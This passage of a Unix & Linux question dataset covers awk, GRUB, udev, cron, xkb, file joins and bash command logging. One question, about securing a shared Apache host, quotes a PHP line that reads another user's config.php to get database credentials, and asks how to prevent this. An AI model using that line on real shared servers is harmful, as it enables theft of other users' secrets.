virtualized environment ready for Docker experimentation."} {"_id": "122513", "title": "awk want to total by hour and variable", "text": "I am able to run this and it works fine - note: field $1 is a time/date stamped field.. gawk -F \":\" \"{ print $1 }\" /cygdrive/c/counting/ourlog | sort | uniq -c | sort -r 57339 2014-03-21 09 54290 2014-03-21 08 54036 2014-03-21 10 53254 2014-03-21 11 52777 2014-03-21 12 50785 2014-03-21 07 49729 2014-03-21 16 44459 2014-03-21 15 43932 2014-03-21 13 43335 2014-03-21 06 40952 2014-03-21 14 40864 2014-03-21 17 Now, what I want to do is to suppress the first 10 rows (they are comments preceding with a #) - and this can vary. So, we want to look for the first xx rows that begin with a #. We change the script to: gawk -F \":\" \"{ print $1 }\" /cygdrive/c/counting/ourlog | sort | uniq -c | sort -r | gawk -v MyID=\"$id\" '/#/{n++}; END {print n+0}' | gawk \"NR> MyID \" but this does not work. If we make a couple more changes - we see the desired result: gawk -F \":\" \"{ print $1 }\" /cygdrive/c/counting/ourlog | gawk \"NR>10\" | sort | uniq -c | sort -r I know I can physically type in 10 to skip the first 10 or 20 rows. However, I want that to be a calculated value."} {"_id": "122511", "title": "Configuring the default timeout for the SSH agent", "text": "I use `ssh-add` to add my SSH keys to the SSH agent. By default, it adds them indefinitely. There's a command-line option to specify a timeout, but is there a configuration file option which will specify the default timeout? What I want is to be able to run `ssh-add` without any command-line parameters and have it default to a given amount of time for a timeout (as if I had called `ssh-add -t 1h`)."} {"_id": "151969", "title": "Booting into a kernel image", "text": "I have a recently-compiled Linux kernel image (vmlinuz file) and I want to boot into it. I am aware that this won't give me a familiar Linux system, but I am hoping to be able to at least run some basic \"Hello world\" program as the init process. Is this even possible, and if so, how? So far I have tried to do this by installing GRUB on a USB which had an ext2 filesystem with the vmlinuz file in /boot. It must have loaded the kernel image because it ended in a kernel panic message: \"VFS: Unable to mount root fs on unknown-block(0,0)\" Here is the entry in grub.cfg: menuentry 'linux' --class os { recordfail gfxmode $linux_gfx_mode insmod gzio insmod part_msdos insmod ext2 set root='(hd0)' search --no-floppy --fs-uuid --set=root linux /boot/vmlinuz root=UUID= ro $vt_handoff } Thanks for any help."} {"_id": "111955", "title": "For what are disk signatures being used for by GNU/Linux (distributions) / grub?", "text": "I am talking about disk signatures in context of the MBR. The area from 441 to 445 bytes. For what does the GNU/Linux kernel, GNU/Linux distributions usually use disk signatures for? I only found wikipedia and this as reference, that (MBR) disk signatures are in context of Linux used for something at all."} {"_id": "111957", "title": "Is there a way to make a Bash script enter a certain keystroke?", "text": "Is there any way to make a `bash` script enter a certain keystroke? What I'm trying to accomplish here is a script that will run `Ctrl`+`B` to exit `tmux`. EDIT: I see that several people are saying that it's better to use a program - specific command. What if I wanted to edit a text file (in this case the bash_aliases file) using a bash script?"} {"_id": "44500", "title": "Want Windows to boot instead of Grub", "text": "So when I turn my computer on, Grub rescue boots up. I have finally figured out how to get into Windows, but now I want to skip the step of entering the information into Grub to get into windows. How do I make Windows boot before Grub does?"} {"_id": "44508", "title": "mutt: rename IMAP folder", "text": "How does one interactively rename an IMAP folder within the `mutt` MUA? Currently, if I want to change a folder name, I use the gmail web browser interface, but this is rather inefficient. Is there an equivalent of the unix `mv` command in `mutt`? When I search for this topic on google, the search results pertain to renaming local mutt folders and files like `.muttrc`."} {"_id": "122125", "title": "Suggest me an iscsi server which supports adding a target at runtime", "text": "Default iscsitarget requires to restart the whole server after editing the `/etc/iet/ietd.conf`. This is a problem as if, any iSCSI target is being read/wrote the server restart will make every operation fail. Moreover I would need to programmatically interact with this server (in java) and, from what I saw, iscsitarget doesn't provide any library/api to do so..and initiators don't contemplate this operation. So, I believe some other vendor created an iSCSI server more suited to my needs, do you know any?"} {"_id": "144425", "title": "Source path of loop-device", "text": "Out of curiosity, I would like to know is there any way to find out the source of mounted partition ? e.g. Output of `df -h` is : > /dev/loop1 3M 3M 0 100% /media/loop From this output, I know a loop device of 3M is mounted at `/media/loop` but I have no clue to determine the exact location of `/dev/loop1` device. **EDIT:** root@SHW:~# mount -o loop /home/SHW/Downloads/TinyCore-current.iso /mnt/loop mount: block device /home/SHW/Downloads/TinyCore-current.iso is write-protected, mounting read-only root@SHW:~# tail -n1 /proc/mounts /dev/loop1 /mnt/loop iso9660 ro,relatime 0 0 How do I find out the absolute path of `/dev/loop1` ? If I don't know who mounted those partitions (In this case the path is /home/SHW/Downloads/TinyCore-current.iso)"} {"_id": "119888", "title": "Security for a web server for multiple people?", "text": "I have an apache web server set up where multiple people have their websites hosted, mostly php based websites. The problem is, when these people upload their website files, it has read permissions for all, so everybody can read everybody's files, including files that include database user data which can be very dangerous. They ssh into the server and 'cat' other people's files, but even disabling SSH won't solve the problem because they can publish a php code that does something like this echo file_get_contents( '/home/someotheruser/public_html/config.php' ); What's the best approach for solving this?"} {"_id": "97565", "title": "Configure power button to shutdown on Debian", "text": "I use Debian and I want my power button to shutdown the PC. Currently it sleeps, when I press it. Is there any command for it to make it shutdown?"} {"_id": "144429", "title": "Persistent drive block usind udev", "text": "I have 8 hard disks on a home server. Sometimes I plug and unplug one or two, and if I restart the system all the drive letters are messed up. I would like to assign a block to each hard drive based on its serial number or other attributes that may identify each hard drive. The problem is that using `udevadm info --attribute-walk --path /sys/block/sda` I can't find any unique attribute that a `udev` rule can match! This is the output for `udevadm info --attribute-walk --path /sys/block/sda`: looking at device '/devices/pci0000:00/0000:00:1c.6/0000:08:00.0/0000:09:00.0/host4/target4:0:0/4:0:0:0/block/sda': KERNEL==\"sda\" SUBSYSTEM==\"block\" DRIVER==\"\" ATTR{range}==\"16\" ATTR{ext_range}==\"256\" ATTR{removable}==\"0\" ATTR{ro}==\"0\" ATTR{size}==\"976773168\" ATTR{alignment_offset}==\"0\" ATTR{discard_alignment}==\"0\" ATTR{capability}==\"50\" ATTR{stat}==\" 303039 9092221 74569992 3246580 12765 996 11288 1415644 0 3250052 4661800\" ATTR{inflight}==\" 0 0\" ATTR{events}==\"\" ATTR{events_async}==\"\" ATTR{events_poll_msecs}==\"-1\" looking at parent device '/devices/pci0000:00/0000:00:1c.6/0000:08:00.0/0000:09:00.0/host4/target4:0:0/4:0:0:0': KERNELS==\"4:0:0:0\" SUBSYSTEMS==\"scsi\" DRIVERS==\"sd\" ATTRS{device_blocked}==\"0\" ATTRS{type}==\"0\" ATTRS{scsi_level}==\"6\" ATTRS{vendor}==\"ATA \" ATTRS{model}==\"ST3500630A \" ATTRS{rev}==\"3.AA\" ATTRS{state}==\"running\" ATTRS{timeout}==\"30\" ATTRS{iocounterbits}==\"32\" ATTRS{iorequest_cnt}==\"0xa39aa\" ATTRS{iodone_cnt}==\"0xa39aa\" ATTRS{ioerr_cnt}==\"0xfa0d\" ATTRS{evt_media_change}==\"0\" ATTRS{queue_depth}==\"1\" ATTRS{queue_type}==\"none\" All the other hard drives have similar output, there isn't a way to identify them. ATTRS{model} is not suitable because I have 3 hard disks that are the same model."} {"_id": "29534", "title": "Convert a lot of .tif files using imagemagick's mogrify command", "text": "I have a lot of tif images in a directory. So I try to convert them into jpg format. I use this command : `mogrify -format jpg *.tif` But I get an error... an error for each image in fact: mogrify: 2281.tif: unknown field with tag 37724 (0x935c) encountered. `TIFFReadDirectory' @ warning/tiff.c/TIFFWarnings/746. Maybe I am doing something wrong... Does anyone have an idea?"} {"_id": "146557", "title": "Printing selective fields following 1st column instructions", "text": "Suppose I have a file in which I'd like to simultaneously print different `awk` commands following the first column instuctions, without messing up the original file (as it would happen with two separate prints): File: End 1st 2nd 3rd Fin 1st 2nd 3rd I'd like to combine the following commands into a one-liner: awk '$1 ~ /^E/ {print $2}' awk '$1 ~ /^F/ {print $3}' To obtain the following output: End 1st Fin 2nd **EDIT** What I meant by saying \"messing up the original file\": File 1: E1 NAME1 LASTNAME1 FA 22 1992 #age, year FC UK London #country, city FJ IT HP #job, company E2 NAME2 LASTNAME2 FA 25 1989 FC CH Geneva FJ CS SIB Now, if I run two separate awk prints, I won't be able to match the information in File 3 with the names of File 2 (especially if the number of `^F` fields are not of the same number): `awk '$1 ~ /^E/ {print $2}' File 1 > File 2` Output (File 2): NAME1 NAME2 `awk '$1 ~ /^F/ {print $3}' File 1 > File 3` Output (File 3): 1992 London HP 1989 Geneva SIB But, If I join them (as suggested in the answers) I'll be able to have something like this: Expected output: NAME1 1992 London HP NAME2 1989 Geneva SIB"} {"_id": "55066", "title": "How to decompress content of various archive types with one command", "text": "> **Possible Duplicate:** > Is there any program to provide a consistent interface across multiple > archive types? I have to handle files that come as uncompressed text files or in various archive types (`.gz`, `.zip`, `.tar.gz`, `bz2`...). I want to process their content piped to another command. Is there a tool that detects whether a file is compressed and prints it content uncompressed? The best I could find is a combination of `zcat` (some archive types) and `cat` (non-compressed files)."} {"_id": "1343", "title": "How does \"top\" command show live results?", "text": "How can I write a shell script that shows the results in real time? Something like the `top` command that updates the results after some fixed intervals of time. ![alt text](http://i.stack.imgur.com/ZGsik.gif)"} {"_id": "143713", "title": "Conversion from PNG to EPS", "text": "I would like to convert PNG images/graphs to EPS without losing even a bit on resolution. All the commands I tried (`potrace`, `autotrace`, `convert`, `gimp`) decrease the resolution quality."} {"_id": "59281", "title": "~/.xinitrc not being run", "text": "I am not able to run my `~/.xinitrc` (`~/.xsession`) scripts when logging into my computer. I'm using Xubuntu 12.10 with vanilla lightgm as the login manager. Both these files have the right permission (executable). I have in my `~/.xinitrc`, the following: #!/usr/bin/env bash # read ~/.Xmodmap if it exists if [[ -f \"${HOME}/.Xmodmap\" ]]; then xmodmap \"${HOME}/.Xmodmap\" fi # read ~/.Xresources if it exists if [[ -f \"${HOME}/.Xresources\" ]]; then xrdb -load \"${HOME}/.Xresources\" fi # use gnome-keyring-daemon to manage keys /usr/bin/gnome-keyring-daemon --start --components=gpg /usr/bin/gnome-keyring-daemon --start --components=ssh Any other command (like `date >> \"$HOME/did_start\"`) is not also being executed. Now apparently, even if I delete my `~/.xinitrc` and `~/.xsession` files, `xmodmap` seems to be reading `~/.Xmodmap`, and `~/.Xresources` is also being partly read. I checked in `/etc/X11/Xsession` to see if there are any commands which makes it read these two files, and found none. What could be happening? **EDIT:** Since Gilles asked, I'm using a custom session while login in through lightdm (`/usr/share/xsessions/custom.desktop`): [Desktop Entry] Name=Xsession Exec=/etc/X11/Xsession But apparently this still starts XFCE via `startxfce4` even though I don't have it in my `~/.xinitrc`. And as Ulrich Dangel pointed out, there is a line in `/usr/xdg/xfce4/xinitrc` which reads `~/.Xmodmap` and `~/.Xresources`, and this script is executed by `startxfce4`. So that \"mystery\" is now resolved. But again, the colors (for `xterm`, `urxvt` etc.) from `~/.xinitrc` is still not being loaded."} {"_id": "59282", "title": "How to switch from TTY to KDE in Oracle Linux", "text": "I had installed Oracle Linux. While installing I had selected KDE for the desktop. After finishing I assumed that I could login to KDE Desktop, but I got a TTY. It asked for login and I gave root and for password entered what I had given while installing. The thing is I want to go to KDE desktop from TTY. I got after logging in: [root@techsunil ~]# How can I switch to desktop of KDE?"} {"_id": "50757", "title": "How to redirect and use the framebuffer?", "text": "I need to work on the framebuffer to record what is being rendered. Now, I figure out how to convert the framebuffer in an image, I'm currently unable to obtain a constant stream of data from the fb to create a video. /dev/fb > fb When I do something like this my redirection just drops me and I honestly don't know how to work in another way with the framebuffer. How I can obtain a stream?"} {"_id": "50750", "title": "Command not found", "text": "I am trying to stop a syslog using **chkconfig** but bash says that command is not available. But when I do > man chkconfig it opens man page. This is the command i'm trying to execute. **chkconfig syslog off && /etc/init.d/syslog stop** ![Screen Cap](http://i.stack.imgur.com/u88Au.png)"} {"_id": "50752", "title": "How to fix a terminal after a binary file has been dumped inside it?", "text": "After having played with curl, a binary file has been dumped inside my terminal. For example, the horizontal lines: \u2500 I use to format my prompt are replaced by 'q', and it can be much worse. Why does this happen, and how can you fix it without having to close the terminal ?"} {"_id": "92108", "title": "Regular Expressions within a string in AWK using if/then control structure?", "text": "**PROBLEM** I want to specifically use AWK (GAWK, MAWK, whatever) in an AWK script to sum up the values in field 9 for every record that contains \"runner__.jpx\" (the underscores are placeholders for two digits 0-9) in field 6 and \"good\" in FIELD 7. **SAMPLE FILE** Feb 14 11:33:16 ringer a[2388]: runner01.jpx good aa 3 Feb 14 11:33:32 ringer a[2388]: runner24.jpx good xx 1 Feb 14 11:33:39 ringer a[1894]: jogger02.jpx good aa 5 Feb 14 11:33:45 ringer a[2388]: runner99.jpx stop cc 1 **ATTEMPT** How could I do this? I tried using an if statement, like: BEGIN { sum = 0 } { if (($6 == \"runner\"[0-9][0-9]\".jpx\") && ($7 == \"good\")) sum += $9 } END { printf sum } Is there way to do this by matching strings in fields using if statements? Am I allowed to use regular expressions within the if statement? What is an alternative method to do this? Thanks."} {"_id": "92104", "title": "What is wrong with my cron job?", "text": "I'm new to linux, and was told I could use a feature called cron job to run a python script I made execute every 10 minutes. Problem is the the python script isn't running. There doesn't seem to be a clear cut way to know if I've formatted the job correctly, but in any case I've tried a number of paths to no avail. Because I'm so new I'll show you the steps I took. On my RasPi, I first typed \"crontab -e\" and get a field like this: # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task Skipping more help text # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # m h dom mon dow command and I add my line at the bottom, without removing the text above. */10 * * * * ~/WeatherProject/HOURLY/windDirExtract.py The above didn't work, and someone else did something similar to this but still no luck. */10 * * * * /home/MyName/WeatherProject/HOURLY/windDirExtract.py and then I tried different permutations but I've got nothing. */10 * * * * /home/MyName/WeatherProject/HOURLY python windDirExtract.py */10 * * * * /home/MyName/WeatherProject/HOURLY windDirExtract.py I'll make any edits if I haven't been clear, but first big question is can I even run short little python scripts with Cron Job, or did I just get bad advice?"} {"_id": "92102", "title": "mknod of content in directory", "text": "I would like to create a virtual device from a directory i.e. you know, there's these cloud storage providers like dropbox and co and they generally have a software client and then give you access to files saved with them in a certain directory in your home directory. Now I would like to, instead being able to access the files in a directory, I would like to be able to mount it anywhere and access the files like as if they were on a device. How can I create a virtual device like this using mknod **edit 1** : I would like to mount multiple of these devices together in one directory using mhddfs (http://romanrm.ru/en/mhddfs) if possible **edit 2** : I am trying it out with Ubuntu One and Dropbox and I have created `~/virtcld` in my home and \"mounted\" both cloud directories like this: `mhddfs ~/Dropbox/ ~/Ubuntu\\ One/ ~/virtcld/ -o allow_other` then I have created a bunch of test files in my virtualcd like `time dd if=/dev/zero of=test13.bin bs=1024 count=1000000` but once my Dropbbox is filled up, the files do not start to upload to the ubuntu One directory instead..."} {"_id": "148917", "title": "How to set up Linux for full AMD APU power management support: Turbo Core, Cool'n'Quiet, Dynamic Power Management?", "text": "My objective is to set up a mini server (not HTPC) with low power consumption in idle mode, yet offering nice performance when used. The focus is more on data safety than availability. In other words: quality parts, but redundancy only for storage. Not considering myself to be biased, after some research I felt that some AMD desktop APUs would offer good value. Questions remaining are: * Will the idle state of the GPU lower power consumption and unleash resources for the CPU? * Will Cool'n'Quiet and Turbo Core lead to the intended low power consumption in idle mode but performance under load? * Will Linux support this scenario as intended? Quite a few questions and forum discussions seem to suggest that this is not necessarily the case."} {"_id": "66620", "title": "running matlab command line in screen -- can't type after reattaching", "text": "I'm logging in via ssh to a more powerful computer, on this I start a screen session with `screen -S mine` and then open a matlab command line via `matlab -nodesktop -nodplash` and then run within matlab a long running script. After detaching from the screen and logging out from the computer the script is running using all the CPU power. Now if I wait quite a while (the matlab skripkt will in total need like 6-7 hours and I don't want to save the matlab session since I would need to load all 15GB to RAM again) and try to reattach to the screen this at first seeems to work. I get my screen `mine` back and see the matlab command line, which finished the job, but I can't type anything within the matlab command line? Why is this? I now can't continue and killed it. (I noticed using htop that matlab at first used 100% CPU, in the end still 100% were used but a major part was colored red so used for kernel tasks..)"} {"_id": "66624", "title": "Where is Xkb getting its configuration?", "text": "Is there a way to query where `xkb` is getting its configuration from? Under ArchLinux I have `/etc/X11/xorg.conf.d/00-keyboard.conf` with Section \"InputClass\" Identifier \"system-keyboard\" MatchIsKeyboard \"on\" Option \"XkbLayout\" \"us,us\" Option \"XkbVariant\" \"altgr-intl,colemak\" Option \"XKbOptions\" \"ctrl:nocaps,grp:alt_shift_toggle\" EndSection but when I start up, if I do `setxkbmap -query`, I only get rules: evdev model: evdev layout: us,us variant: altgr-intl, So neither the alternative variants nor options are recognized (needless to say, I cannot change layout). If I however run setxkbmap -layout \"us,us\" -variant \"altgr-intl,colemak\" -option \"ctrl:nocaps,grp:alt_shift_toggle\" I get the correct rules: evdev model: evdev layout: us,us variant: altgr-intl,colemak options: ctrl:nocaps,grp:alt_shift_toggle So is there a possibility something is overwriting my configuration? I am running GNOME/Cinnamon"} {"_id": "66627", "title": "Is there anyway to set a readonly environment variable?", "text": "I am using the following in openssh/telnet code, which sets the user environment. setenv(\"TEST_ENV\", \"testing\", 1); But this can be modified by the user, is there anyway to make it readonly env variable?"} {"_id": "110840", "title": "Sed - string substitution with groupings", "text": "I have a largish directory with filenames formatted like Some_Folder-(FOL001)-clean what I'm trying to do is display the pattern between the brackets at the start like FOL001 Some_Folder-(FOL001)-clean so it can be piped into sort * * * So far what I have is ls | sed -n -e 's/.*\\(\\-([A-Z]\\{3,4\\}[0-9]\\{3,4\\})-\\)\\(.*\\)/\\1 \\t \\0/p' | sort which produces -(FOL001)- Some_Folder-(FOL001)-clean However, I don't want the \"-(\" and \")-\" on the output of the first pattern, just the contents. I know I can run this through `sed` again to replace those characters, but wondered if it's possible to include it in the original expression."} {"_id": "66628", "title": "Does apt update manually installed packages", "text": "I'm trying to install bnx2 non free driver on Debian wheezy. The driver is in non free repositories. Since there is no network connectivity I should download .deb file and install it on the box. After installing Does `apt` update that package when new versions released or because it is manually installed it ignores it?"} {"_id": "110842", "title": "Join two files, matching on a column, with repetitions", "text": "How can I get two files A and B, and out put a result like this: File A: 001 Apple, CA 020 Banana, CN 023 Apple, LA 045 Orange, TT 101 Orange, OS 200 Kiwi, AA File B: 01-Dec-2013 01.664 001 AAA CAC 1083 01-Dec-2013 01.664 020 AAA CAC 0513 01-Dec-2013 01.668 023 AAA CAC 1091 01-Dec-2013 01.668 101 AAA CAC 0183 01-Dec-2013 01.674 200 AAA CAC 0918 01-Dec-2013 01.674 045 AAA CAC 0918 01-Dec-2013 01.664 001 AAA CAC 2573 01-Dec-2013 01.668 101 AAA CAC 1091 01-Dec-2013 01.668 020 AAA CAC 6571 01-Dec-2013 01.668 023 AAA CAC 2148 01-Dec-2013 01.674 200 AAA CAC 0918 01-Dec-2013 01.668 045 AAA CAC 5135 Result: 01-Dec-2013 01.664 001 AAA CAC 1083 Apple, CA 01-Dec-2013 01.664 020 AAA CAC 0513 Banana, CN 01-Dec-2013 01.668 023 AAA CAC 1091 Apple, LA 01-Dec-2013 01.668 101 AAA CAC 0183 Orange, OS 01-Dec-2013 01.674 200 AAA CAC 0918 Kiwi, AA 01-Dec-2013 01.674 045 AAA CAC 0918 Orange, TT 01-Dec-2013 01.664 001 AAA CAC 2573 Apple, CA 01-Dec-2013 01.668 101 AAA CAC 1091 Orange, OS 01-Dec-2013 01.668 020 AAA CAC 6571 Banana, CN 01-Dec-2013 01.668 023 AAA CAC 2148 Apple, LA 01-Dec-2013 01.674 200 AAA CAC 0918 Kiwi, AA 01-Dec-2013 01.668 045 AAA CAC 5135 Orange, TT (file A: the number should match to middle number from file B) Is there any possible way to doing this?"} {"_id": "8376", "title": "What is the Firefox repository with all dependencies solved?", "text": "I'm using Fedora Core 3, and Firefox needs to be upgraded from version 2.0 to some advanced version, such as 3.0 or 3.6. I used the `remi` repository for `yum` command, but that repository doesn't contain any other dependencies for Firefox v 3.6. What Fedora repositories can Firefox be installed from with all other dependencies?"} {"_id": "8377", "title": "Linux package manager architecture", "text": "I am looking for a guide on one of Linux Package manager architectures. For example **apt-get** (dpkg), or **yum** (rpm). I want to know how they manage the package list, file list, package versions and so on. I wonder if anyone could point me to some resource."} {"_id": "8375", "title": "How to change default log location of SMF registered processes", "text": "I am trying to change default log location ( var/svc/logs/) of each and every SMF registered processes and append to particular file (/opt/smf.log)."} {"_id": "61394", "title": "Filesystem with 1Mb block?", "text": "I'd like to make a partition for keeping ISO images of nightly builds. Most of files will be bigger than 1Mb. Unfortunately ext2/ext3/ext4 supports only 4Kb blocks. # mkfs.ext4 -b 1048576 -L DISTR -m 0 /dev/sdb1 mkfs.ext4: invalid block size - 1048576 Is there any other reliable filesystem that can be used in order to reduce fragmentation?"} {"_id": "61395", "title": "Change mailx mailbox location", "text": "On my computer, mail is stored in `~/Mailbox`, not in a centralized directory. Is there a way to get `bsd-mailx` to read mail from there, instead of looking in `/var/mail`?"} {"_id": "8370", "title": "use 'find' to search for directories !containing certain filetype foo", "text": "I have a few directories, some with a depth of 3, which contain mixed file types. What I need to do is to `rm -rf` all the subdirectories that do not contain filetype `foo`. Is this achievable with `find` somehow? I do know that I can use find like this: find . ! -name '*.foo' -delete to delete all files within the directories that do not contain any file of type `*.foo`. Now, how can I use this, to not only delete all unwanted files, but all directories and subdirectories which do not contain `*.foo`?"} {"_id": "61399", "title": "How to fix boot error UUID disk drive is not ready or not present where micro failed to load microcode_amd.bin and HDIO_GET_IDENTITY failed?", "text": "When I updated to the new Kernel 3.7.2, everything goes ok, but when it comes to powering on Linux Mint, it shows me two warnings: ![enter image description here](http://i.stack.imgur.com/mJmEw.png) ![enter image description here](http://i.stack.imgur.com/4GwMF.png) What's wrong and what can I do?"} {"_id": "128225", "title": "Constant prompt for WPA2 password in Fedora", "text": "I asked on the Fedora forums but no one responded so I am asking here. I am on Fedora 20 with Gnome 3. My machine is the Dell XPS 13 which has an Intel 7260 rev 6b wireless card. I connect to my home network with WPA2 just fine but after a few minutes I am prompted for my password (and the password is already filled in) so I hit connect and it goes away. Sometimes it will appear 4 or 5 times before going away for good (well until maybe 10 minutes later). It's extremely frustrating since I switched away from Ubuntu because of its issues with WPA enterprise and supposedly Fedora had no wireless issues at all. Apparently that isn't true. I'm not quite sure how to go about fixing this so if anyone can point me in the right direction that would be fantastic!"} {"_id": "119676", "title": "How to get portage to emerge in a FreeBSD Jail?", "text": "I am running FreeNAS 9.2.1.2 which allows you to install a Gentoo jail with a one click install that creates a jail on the Free BSD system. I then tried to run `emerge -avuDN world` and ran into some problems. After some Googling I have tried the following: * `export TAR_OPTIONS='--touch'` (this got rid of most tar errors) * `ln -s /bin/busybox /usr/bin/touch` etc as suggested in this post but I receive the error that the file has already been created I still get the following error when trying to `emerge --oneshot portage`:* tar: Python-3.3.3/configure: Cannot utime: Invalid argument tar: Exiting with failure status due to previous errors * ERROR: dev-lang/python-3.3.3 failed (unpack phase): * failure unpacking Python-3.3.3.tar.xz *I have followed the upgrade guide for EAPI 5 in `eselect news` and so I am trying to get the latest version of portage before proceeding to `emerge -avuDN world`"} {"_id": "119673", "title": "Debian partial Mirror - \u201cdebpartial-mirror\u201d specific mirroring", "text": "i am using a Debian 7.3 with debpartial-mirror in order to create and maintain an offline mirror. Since i need only the basic packages (Packages needed for Installation via PXEboot and maybe the most common packages that are installed afterwards) i can't figure out, how to achiev this. Right now, the mirror is trying to clone the whole archive, but i don't need all Packages, neither do i have a good connection to the internet to maintain the Archive properly if it is that big. Any help is appreciated. my debpartial-mirrir.conf is : ;; ;; debpartial-mirror configuration file. ;; [GLOBAL] ;; Show debug information? ;;debug = DEBUG ;; Mirror destination directory mirror_dir = /install/debian/debpartial-mirror/ ;; Which architectures should I download? architectures = amd64 ;; What should I look for, by default? components = main contrib non-free distributions = stable ;; What should I get? get_suggests = true get_recommends = true get_provides = true get_sources = false get_packages = true [wheezy] server = http://ftp.de.debian.org/debian components = main contrib non-free distributions = stable ;;filter = subsection:base priority:important get_sources =false [wheezy-updates] server = http://ftp.debian.org/debian components = main contrib non-free distributions = wheezy-updates filter = subsection:base priority:important resolve_deps_using = wheezy [wheezy-security] server = http://security.debian.org/ components = main contrib non-free distributions = wheezy/updates filter = subsection:base priority:important resolve_deps_using = wheezy [wheezy_debian-installer] server = http://ftp.debian.org/debian components = main/debian-installer distributions = wheezy"} {"_id": "111461", "title": "Determine 2G or 3G connection", "text": "I am using WvDial to dial my USB modem up to my ISP. But how can I tell what network I am connected to: 2G or 3G?"} {"_id": "111460", "title": "Log every command typed in any shell: output (from logger function to syslog-ng/journald) contains duplicate entries for commands?", "text": "I installed `syslog-ng` to use on my desktop (Gentoo 64bit, upgraded to systemd i.e. was OpenRC before, with Openbox and Slim only) with my normal user to _log all commands_ I type in the shell (bash first, then eventually zsh). I've explored different solutions, and different ways of setting this up, old and new and often this is achieved using the `.bash_history` file. I'm trying to implement this solution from a few years ago, with reliance on the companion _trap_. First I've modified `.bashrc` and set some history variables because the solution relies on formatting the history data, then making sure it is saved to its file, then _pushing_ it to the log messaging system with `logger` in a function called in the shell environment. So first the variables: export HISTCONTROL= export HISTFILE=$HOME/.bash_history export HISTFILESIZE=2000 export HISTIGNORE= export HISTSIZE=1000 export HISTTIMEFORMAT=\"%a %b %Y %T %z \" typeset -r HISTCONTROL typeset -r HISTFILE typeset -r HISTFILESIZE typeset -r HISTIGNORE typeset -r HISTSIZE typeset -r HISTTIMEFORMAT shopt -s cmdhist shopt -s histappend PROMPT_COMMAND=\"history -a\" typeset -r PROMPT_COMMAND ex. history command output with timestamps 860 Tue Jan 2014 10:33:50 -0900 exit 861 Tue Jan 2014 10:33:56 -0900 ls 862 Tue Jan 2014 10:33:58 -0900 history Then, as explained in the linked article, you must add this _trap_ which uses `logger` in .bashrc (there is reference to /etc/profile, but here I want this for my regular user only and ~/.profile is not sourced by something like `lxterminal`): function log2syslog { declare command command=$(fc -ln -0) logger -p local1.notice -t bash -i -- $USER : $command } trap log2syslog DEBUG A single long hyphen was (mistakenly?) used in the original doc, followed by a space and $USER. I've replaced my original syslog-ng configuration file. I've tried the suggested config from Arch, but after some warnings, I've configured it like so explained for Gentoo which is what the Arch doc is based on anyway: @version: 3.4 options { chain_hostnames(no); # The default action of syslog-ng is to log a STATS line # to the file every 10 minutes. That's pretty ugly after a while. # Change it to every 12 hours so you get a nice daily update of # how many messages syslog-ng missed (0). stats_freq(43200); }; source src { unix-dgram(\"/dev/log\" max-connections(256)); internal(); }; source kernsrc { file(\"/proc/kmsg\"); }; # define destinations destination authlog { file(\"/var/log/auth.log\"); }; destination syslog { file(\"/var/log/syslog\"); }; destination cron { file(\"/var/log/cron.log\"); }; destination daemon { file(\"/var/log/daemon.log\"); }; destination kern { file(\"/var/log/kern.log\"); }; destination lpr { file(\"/var/log/lpr.log\"); }; destination user { file(\"/var/log/user.log\"); }; destination mail { file(\"/var/log/mail.log\"); }; destination mailinfo { file(\"/var/log/mail.info\"); }; destination mailwarn { file(\"/var/log/mail.warn\"); }; destination mailerr { file(\"/var/log/mail.err\"); }; destination newscrit { file(\"/var/log/news/news.crit\"); }; destination newserr { file(\"/var/log/news/news.err\"); }; destination newsnotice { file(\"/var/log/news/news.notice\"); }; destination debug { file(\"/var/log/debug\"); }; destination messages { file(\"/var/log/messages\"); }; destination console { usertty(\"root\"); }; # By default messages are logged to tty12... destination console_all { file(\"/dev/tty12\"); }; # ...if you intend to use /dev/console for programs like xconsole # you can comment out the destination line above that references /dev/tty12 # and uncomment the line below. #destination console_all { file(\"/dev/console\"); }; # create filters filter f_authpriv { facility(auth, authpriv); }; filter f_syslog { not facility(authpriv, mail); }; filter f_cron { facility(cron); }; filter f_daemon { facility(daemon); }; filter f_kern { facility(kern); }; filter f_lpr { facility(lpr); }; filter f_mail { facility(mail); }; filter f_user { facility(user); }; filter f_debug { not facility(auth, authpriv, news, mail); }; filter f_messages { level(info..warn) and not facility(auth, authpriv, mail, news); }; filter f_emergency { level(emerg); }; filter f_info { level(info); }; filter f_notice { level(notice); }; filter f_warn { level(warn); }; filter f_crit { level(crit); }; filter f_err { level(err); }; filter f_failed { message(\"failed\"); }; filter f_denied { message(\"denied\"); }; # connect filter and destination log { source(src); filter(f_authpriv); destination(authlog); }; log { source(src); filter(f_syslog); destination(syslog); }; log { source(src); filter(f_cron); destination(cron); }; log { source(src); filter(f_daemon); destination(daemon); }; log { source(kernsrc); filter(f_kern); destination(kern); }; log { source(src); filter(f_lpr); destination(lpr); }; log { source(src); filter(f_mail); destination(mail); }; log { source(src); filter(f_user); destination(user); }; log { source(src); filter(f_mail); filter(f_info); destination(mailinfo); }; log { source(src); filter(f_mail); filter(f_warn); destination(mailwarn); }; log { source(src); filter(f_mail); filter(f_err); destination(mailerr); }; log { source(src); filter(f_debug); destination(debug); }; log { source(src); filter(f_messages); destination(messages); }; log { source(src); filter(f_emergency); destination(console); }; # default log log { source(src); destination(console_all); }; Of note is the comment from Arch wiki about the `unix-stream` reference misbehaving and prohibiting loading syslog-ng at startup. Changing the reference to unix-dgram takes care of that is basically the only change from the model used, except for providing a version number on the first line. After that you can do `systemctl enable syslog-ng` to have that available at boot. So it is up and running manually here: # systemctl status syslog-ng syslog-ng.service - System Logger Daemon Loaded: loaded (/usr/lib64/systemd/system/syslog-ng.service; disabled) Active: active (running) since Tue 2014-01-28 20:23:36 EST; 1s ago Docs: man:syslog-ng(8) Main PID: 9238 (syslog-ng) CGroup: /system.slice/syslog-ng.service \\u2514\\u25009238 /usr/sbin/syslog-ng -F Jan 28 20:23:36 gentoouser3x86_64 systemd[1]: Starting System Logger Daemon... Jan 28 20:23:36 gentoouser3x86_64 systemd[1]: Started System Logger Daemon. And I get the desired basic ouput in /var/log/messages: Jan 28 20:42:00 gentoouser3x86_64 bash[9878]: myuser : shopt Jan 28 20:42:04 gentoouser3x86_64 bash[9880]: myuser : su - ... Jan 29 03:30:58 gentoouser3x86_64 bash[4386]: myuser : ls Jan 29 03:30:58 gentoouser3x86_64 bash[4389]: myuser : ls <--- duplicate Jan 